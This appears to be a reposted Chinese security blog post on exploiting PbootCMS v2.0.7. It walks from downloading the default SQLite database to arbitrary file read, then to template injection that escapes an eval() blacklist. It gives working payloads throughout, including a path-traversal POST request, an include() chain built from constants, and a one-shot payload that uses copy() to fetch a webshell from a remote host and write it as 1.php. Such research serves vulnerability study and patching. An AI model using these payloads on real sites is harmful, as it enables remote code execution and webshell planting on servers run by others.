• PbootCMS v2.0.7从前台数据库下载到后台RCE研究


    前言

    PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。

    环境:

    • Apache 2.4.39
    • PHP 7.3.8

    分析

    该程序的特点是默认使用的sqlite数据库

    可以看看数据库的配置文件config/database.php

    <?php
    /**
     * 主数据库连接参数,未配置的参数使用框架惯性配置
     * 如果修改为mysql数据库,请同时修改type和dbname两个参数
     */
    return array(
    
        'database' => array(
    
            'type' => 'sqlite', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite
    
            'host' => '127.0.0.1', // 数据库服务器
    
            'user' => 'pboot', // 数据库连接用户名
    
            'passwd' => '123456', // 数据库连接密码
    
            'port' => '3306', // 数据库端口
    
            // 'dbname' => 'pbootcms' // 去掉注释,启用mysql数据库,注意修改前面的连接信息及type为mysqli
    
            'dbname' => '/data/pbootcms.db' // 去掉注释,启用Sqlite数据库,注意修改type为sqlite
        )
    
    );
    

    默认的数据库路径是/data/pbootcms.db,且data目录下没有进行任何的判断,后台也没有提供修改数据库路径的功能,所以可直接下载。

    下载后用sqlite3打开就可以得到用户的hash,hash使用的是md5(md5($pass))生成的。

    所以这里直接挖后台的洞

    任意文件读取

    漏洞文件apps/admin/controller/system/UpgradeController.php

    <?php
        ...
        public function update(){
            if ($_POST) {
                if (! ! $list = post('list')) {
                    $list = explode(',', $list);
                    $backdir = date('YmdHis');
    
                    // 分离文件
                    foreach ($list as $value) {
                        if (stripos($value, '/script/') !== false) {
                            $sqls[] = $value;
                        } else {
                            $path = RUN_PATH . '/upgrade' . $value;
                            $des_path = ROOT_PATH . $value;
                            $back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $backdir . $value;
                            if (! check_dir(dirname($des_path), true)) {
                                json(0, '目录写入权限不足,无法正常升级!' . dirname($des_path));
                            }
                            if (file_exists($des_path)) { // 文件存在时执行备份
                                check_dir(dirname($back_path), true);
                                copy($des_path, $back_path);
                            }
    
                            // 如果后台入口文件修改过名字,则自动适配
                            if (stripos($path, 'admin.php') !== false && stripos($_SERVER['SCRIPT_FILENAME'], 'admin.php') === false) {
                                if (file_exists($_SERVER['SCRIPT_FILENAME'])) {
                                    $des_path = $_SERVER['SCRIPT_FILENAME'];
                                }
                            }
    
                            $files[] = array(
                                'sfile' => $path,
                                'dfile' => $des_path
                            );
                        }
                    }
    
                    // 更新数据库
                    if (isset($sqls)) {
                        $db = new DatabaseController();
                        switch (get_db_type()) {
                            case 'sqlite':
                                copy(DOC_PATH . $this->config('database.dbname'), DOC_PATH . STATIC_DIR . '/backup/sql/' . date('YmdHis') . '_' . basename($this->config('database.dbname')));
                                break;
                            case 'mysql':
                                $db->backupDB();
                                break;
                        }
                        sort($sqls); // 排序
                        foreach ($sqls as $value) {
                            $path = RUN_PATH . '/upgrade' . $value;
                            if (file_exists($path)) {
                                //echo $path;
                                //exit;
                                $sql = file_get_contents($path);
                                if (! $this->upsql($sql)) {
                                    $this->log("数据库 $value 更新失败!");
                                    json(0, "数据库" . basename($value) . " 更新失败!");
                                }
                            } else {
                                json(0, "数据库文件" . basename($value) . "不存在!");
                            }
                        }
                    }
    
                    // 替换文件
                    if (isset($files)) {
                        foreach ($files as $value) {
                            if (! copy($value['sfile'], $value['dfile'])) {
                                $this->log("文件 " . $value['dfile'] . " 更新失败!");
                                json(0, "文件 " . basename($value['dfile']) . " 更新失败,请重试!");
                            }
                        }
                    }
    
                    // 清理缓存
                    path_delete(RUN_PATH . '/upgrade', true);
                    path_delete(RUN_PATH . '/cache');
                    path_delete(RUN_PATH . '/complite');
                    path_delete(RUN_PATH . '/config');
    
                    $this->log("系统更新成功!");
                    json(1, '系统更新成功!');
                } else {
                    json(0, '请选择要更新的文件!');
                }
            }
        }
        ...
    ?>

    可以看到注释写着更新数据库的部分,将$sqls遍历出来后放进了file_get_contents函数,然后调用了一个upsql()方法。跟过去看一下。

    <?php
        // 执行更新数据库
        private function upsql($sql){
            $sql = explode(';', $sql);
            $model = new Model();
            foreach ($sql as $value) {
                $value = trim($value);
                if ($value) {
                    $model->amd($value);
                }
            }
            return true;
        }
    ?>

    将传过来的字符串用;分隔后又调用了一个Model::amd()方法。继续跟下去。

    文件core/database/Sqlite.php

    <?php
        ...
        // 数据增、删、改模型,接受完整SQL语句,返回影响的行数的int数据
        public function amd($sql){
            $result = $this->query($sql, 'master');
            if ($result) {
                return $result;
            } else {
                return 0;
            }
        }
        // 执行SQL语句,接受完整SQL语句,返回结果集对象
        public function query($sql, $type = 'master'){
            ...
            switch ($type) {
                case 'master':
                    if (! $this->begin) { // 存在写入时自动开启显式事务,提高写入性能
                        $this->master->exec('begin;');
                        $this->begin = true;
                    }
                    $result = $this->master->exec($sql) or $this->error($sql, 'master');
                    break;
                case 'slave':
                    $result = $this->slave->query($sql) or $this->error($sql, 'slave');
                    break;
            }
            return $result;
        }
        // 显示执行错误
        protected function error($sql, $conn){
            $err = '错误:' . $this->$conn->lastErrorMsg() . ',';
            if ($this->begin) { // 存在显式开启事务时进行回滚
                $this->master->exec('rollback;');
                $this->begin = false;
            }
            error('执行SQL发生错误!' . $err . '语句:' . $sql);
        }
        ...
    ?>

    这里的amd()方法又调用了一个query()方法,在query()方法里可以看到直接将$sql放进SQL执行函数里,如果执行失败,直接将$sql打印出来。

    这样看下来这里的漏洞可以拿来执行任意SQL语句,但是由于这里用的是sqlite数据库,且当前已经在后台里了,所以这里的任意SQL执行也没啥可以利用的。(可能可以审一下用数据库里的数据当做输入的点,没准能利用起来)

    但是由于正常的文件内容读出来直接当做SQL语句执行肯定会报错,所以这里可以用来读取文件。

    经过回溯可以发现$sqls,使用的POST传输过来的数据,且数据中需要有/script/字符串。

    构造Payload:

    URL: http://pbootcms/admin.php?p=/Upgrade/update
    POST: list=/script/../../../config/database.php

    即可读取到文件(仅限在Windows下,Linux不支持在不存在的文件夹下上跳,Linux下利用的话得找到一个系统或者程序自带的/script/目录)

    模板注入

    看了一下程序后,了解到该程序使用了模板引擎进行内容解析,这时候就可以考虑能否进行模板注入了。

    大概看了一下模板引擎的代码后发现一个解析if语句的地方很有趣。

    文件:apps/home/controller/ParserController.php

    精简后的代码如下:

    <?php
        public function parserIfLabel($content){
            $pattern = '/{pboot:if(([^}^$]+))}([sS]*?){/pboot:if}/';
            if (preg_match_all($pattern, $content, $matches)) {
                $count = count($matches[0]);
                for ($i = 0; $i < $count; $i ++) {
                    $danger = false;
    
                    // 带有函数的条件语句进行安全校验
                    if (preg_match_all('/([w]+)([\s]+)?(/i', $matches[1][$i], $matches2)) {
                        foreach ($matches2[1] as $value) {
                            if (function_exists($value)){
                                $danger = true;
                                break;
                            }
                        }
                    }
    
                    // 过滤特殊字符串
                    if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                        $danger = true;
                    }
    
                    // 如果有危险函数,则不解析该IF
                    if ($danger) {
                        continue;
                    }
    
                    eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                    ...
    ?>

    这里大概的意思就是,在模板的if语句中,通过正则找到函数的结构,然后将其传入function_exists,如果该函数存在则不执行下面的eval()

    如果可以编辑模板文件,或者存在模板注入的话,那么就可以尝试绕一下这些限制,看能不能往eval()里面注入代码。

    在后台翻了一下,没有看到有对模板文件进行修改的地方,所以考虑模板注入。

    在后台的公司信息栏目插入符合模板if语句的Payload:{pboot:if(1)}OK{/pboot:if}

    可以看到这里的模板语句已经解析了。所以这里是存在模板注入的。

    但是这个程序是有对所有参数进行全局的htmlspecialcharsaddslashes的,在结合上面的正则,导致我们不能使用很多字符。

    有:'"$}和反引号、x00等等。

    根据这个限制我很快有了一种思路:

    php的语法有一些具有函数结构,但是却不是函数的关键字。

    例如:include()array()等。

    现在思路就很明确了,既然 include()可以绕过函数检测这个点,那么往里面传参数就完事了。

    接下来就是要想办法在当前限制下构造出一个字符串往include()里面传了。

    • 思路1:

      通过$_SERVER数组传,但是前面的正则ban了$,所以这个思路不行。

    • 思路2:

      使用get_defined_vars()从get的参数里面获取,但是get_defined_vars不能过function_exists,所以也不行。

    • 思路3:

      PHP7.2版本开始:不带引号的字符串是不存在的全局常量的话,那么则转化成他们自身的字符串。

      意思就是echo a=>define(a, 'a');echo a;

      那么就可以不使用引号,从而构造字符串了。

      所以我们可以在后台上传一个图片马,然后用include()去包含getshell了。

      但是这里有个问题,上传后的图片路径会有数字和/.,而数字和/.不带引号是不会触发上面说的trick的。

      也就是现在能构造任意字母了,但是还需要数字和/.

      /.其实很好办,PHP有几个预定义常量如__FILE__,获取当前的文件的绝对路径

      在程序里打印一下看看

      ./都有,但是直接用数组的方式去取是会报错的。

      这时候就需要用到刚刚说的array()了,将__FILE__放进array()里之后再利用去二维数组的方式去取就不会报错了。(因为这里是将常量赋值进了数组里面,不是直接对常量进行数组的方式取值,所以不会报错。)

      var_dump(array(__FILE__)[0][-4]); //=.

      var_dump(array(__FILE__)[0][-21]); //=/

      现在就缺数字了,而且该数字还必须是String型的数字。

      PHP下还有带有数字的常量,例如__LINE____PHP_VERSION__,但是这些数字可能不太够,而且也不太能确定具体得值,不够"一般化"。

      于是开始寻找别的办法。

      于是我开始全局搜索define(,寻找在程序中定义的,可控或者含有数字的常量。

      文件:core/view/Paging.php

      <?php
          ...
        public function limit($total = null, $morePageStr = false){
              // 起始数据调整
              if (! is_numeric($this->start) || $this->start < 1) {
                  $this->start = 1;
              }
              if ($this->start > $total) {
                  $this->start = $total + 1;
              }
      
              // 设置总数
              if ($total) {
                  $this->rowTotal = $total - ($this->start - 1);
              }
      
              // 设置分页大小
              if (! isset($this->pageSize)) {
                  $this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15;
              }
      
              // 分页数字条数量
              $this->num = Config::get('pagenum') ?: 5;
      
              // 计算页数
              $this->pageCount = @ceil($this->rowTotal / $this->pageSize);
      
              // 获取当前页面
              $this->page = $this->page();
      
              // 定义相关常量,用于方便模板引擎解析序号等计算和调用
              define('ROWTOTAL', $this->rowTotal);
              define('PAGECOUNT', $this->pageCount);
              define('PAGE', $this->page);
              define('PAGESIZE', $this->pageSize);
      
              // 注入分页模板变量
              $this->assign($morePageStr);
      
              // 返回限制语句
              return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize";
          } 
        // 当前页码容错处理
          private function page(){
              $page = get('page', 'int') ?: $this->page;
              if (is_numeric($page) && $page > 1) {
                  if ($page > $this->pageCount && $this->pageCount) {
                      return $this->pageCount;
                  } else {
                      return $page;
                  }
              } else {
                  return 1;
              }
          }
        ...
      ?>

      这里是该程序的一个分页类,可以看到里面有一个叫PAGE的常量,且该常量可控。

      那么就寻找调用了这个分页类的地方传入page就好。

      例如:http://pbootcms/?keyword=123&page=0123456789

      且该常量为string类型。

      至此,路径中需要的字符都构造出来了,只需要用.连接即可。

      利用过程:

      1. 上传图片马

        得到路径static/upload/image/20200417/1587111957160139.png

      2. 根据路径构造payload

        include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(马赛克).png)

        将payload放入模板的if语句中

      3. 模板注入

      4. 访问带有分页类且又能输出公司地址的地方

        Getshell成功!!!CTF再次诚不欺我!!!

    一般化

    一开始在研究这个漏洞的时候,就觉得有点麻烦,又要上传图片马,又要构造图片马的路径,不能一个payload直接打,十分麻烦。

    于是就跑去问了问P师傅(P牛,永远滴神!)

    P师傅理解了我的需求后,直接甩了个payload给我

    看到后我才想起,以前就看过P师傅的一篇文章里面的一个trick:在一个函数的括号前面加入一些控制字符,PHP一样能识别改函数并执行。利用这个trick就可以执行任意函数了。

    于是根据P师傅给的思路再结合程序本身的一些其他的黑名单限制,很快我就构造出了一个通用的Payload

    {pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(马赛克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}

    利用一个copy()函数到远程服务器上下载一个webshell放在本地,这里的webshell地址通过chr()函数一个个还原出shell地址一个个拼接。

    向模板注入该payload:

    访问前台触发点:

    则会去http://mock.x.dnshia.cn/shell下载webshell,并保存到1.php

    参考链接

    PHP动态特性的捕捉与逃逸

  • 相关阅读:
    Java重温学习笔记,Java8新特性:函数式接口
    Java重温学习笔记,Java8新特性:Lambda 表达式
    236. 二叉树的最近公共祖先
    230. 二叉搜索树中第K小的元素
    117. 填充每个节点的下一个右侧节点指针 II
    116. 填充每个节点的下一个右侧节点指针
    111. 二叉树的最小深度
    109. 有序链表转换二叉搜索树
    剑指 Offer 68
    1367. 二叉树中的列表
  • 原文地址:https://www.cnblogs.com/0daybug/p/12786036.html
Copyright © 2020-2023  润新知